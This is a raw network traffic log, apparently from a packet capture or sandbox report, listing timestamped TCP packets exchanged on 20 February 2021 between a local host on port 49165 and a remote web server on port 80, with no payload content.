Feb 20, 2021 02:03:51.592005968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592005968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592041969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592067003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592075109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592097998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592128038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592143059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592194080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592207909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592255116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592261076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592299938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592325926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592334032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592351913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592370033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592386007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592403889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592431068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592446089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592468977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592530012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592538118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592581987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592602015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592627048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592633963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592674971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592693090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592720985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592722893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592782021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592789888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592838049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592844009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592871904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592904091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592924118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.592925072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.592991114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593063116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593101978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593136072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593153954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593164921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593225002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593230009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593291044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593298912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593363047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593375921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593434095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593456030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593506098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593529940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593548059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593560934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593614101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593615055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593657017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593684912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593705893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593738079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593774080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593806028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593807936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593833923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593848944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593866110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593887091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593909025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593920946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593940973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.593955994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.593971968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594001055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594022036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594034910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594072104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594089031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594124079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594182014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594192982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594218969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594250917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594285011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594286919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594321012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594353914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594363928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594379902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594402075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594435930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594435930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594455957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594470978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594496012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594516039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594522953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594554901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594592094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594597101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594610929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594635010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594647884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594676971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.594695091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.594724894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610058069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610081911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610102892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610130072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610204935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610225916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610246897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610246897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610271931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610276937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610281944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610285997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610290051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610294104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610306978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610342979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610349894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610356092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610363007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610372066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610384941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610395908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610438108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610507965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610551119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610578060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610733986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610800028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610800982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610835075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610866070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610894918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.610903025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610924959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.610985041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.611000061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.611012936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611035109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611080885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.611105919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.611133099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611155033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611176014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611268997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611291885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611313105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611335039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611406088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.611417055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611452103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.611453056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611485004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611521006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611536026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.611543894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611566067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611568928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.611587048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611603022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.611608982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611634016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.611666918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.611793041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.611864090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.632447004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632508993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632559061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632608891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632626057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.632656097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632657051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.632662058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.632667065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.632698059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632716894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.632736921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632741928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.632775068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632785082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.632827044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632827997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.632864952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632875919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.632901907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632911921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.632940054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632955074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.632987976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.632993937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633029938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.633038044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633068085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.633075953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633106947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.633112907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633145094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.633155107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633182049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.633191109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633229971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633235931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.633281946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633292913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.633338928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633356094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.633413076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633444071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.633498907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633503914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.633549929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633554935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.633601904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.633605957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.633654118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.635391951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.635453939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.635458946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.635499954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.635508060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.635538101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.635550022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.635584116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.635585070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.635627985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.635631084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.635674000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.638416052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.638487101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.640897989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.641035080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.641954899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.642015934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.642026901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.642067909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.642074108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.642117977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.642119884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.642154932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.642169952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.642204046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.645519972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.645574093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.645592928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.645628929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.645634890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.645684004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.646826029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.646867037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.646892071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.646913052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.647006989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.647061110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.647083998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.647126913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.647136927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.647181034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.650110006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.650149107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.650183916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.650193930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.650196075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.650238037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.650247097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.650285006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.650772095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.650830984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.651036978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.651109934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.655276060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.655329943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.655375004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.655380011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.655420065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.655425072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.655433893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.655457973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.655469894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.655503035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.655632973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.655679941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.655685902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.655736923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.655818939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.655872107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.655881882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.655929089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.655936956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.655987978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.655998945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656049013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656059027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656105995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656116962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656169891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656176090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656225920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656235933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656282902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656409025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656454086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656461954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656502008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656567097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656615973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656618118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656670094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656699896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656752110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656754017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656802893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656810045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656857967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656892061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.656940937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.656948090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657001972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657002926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657043934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657051086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657092094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657099009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657154083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657155037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657208920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657211065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657268047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657269001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657309055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657320023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.657347918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.657361031 CET	49165	80	192.168.2.22	185.81.0.78
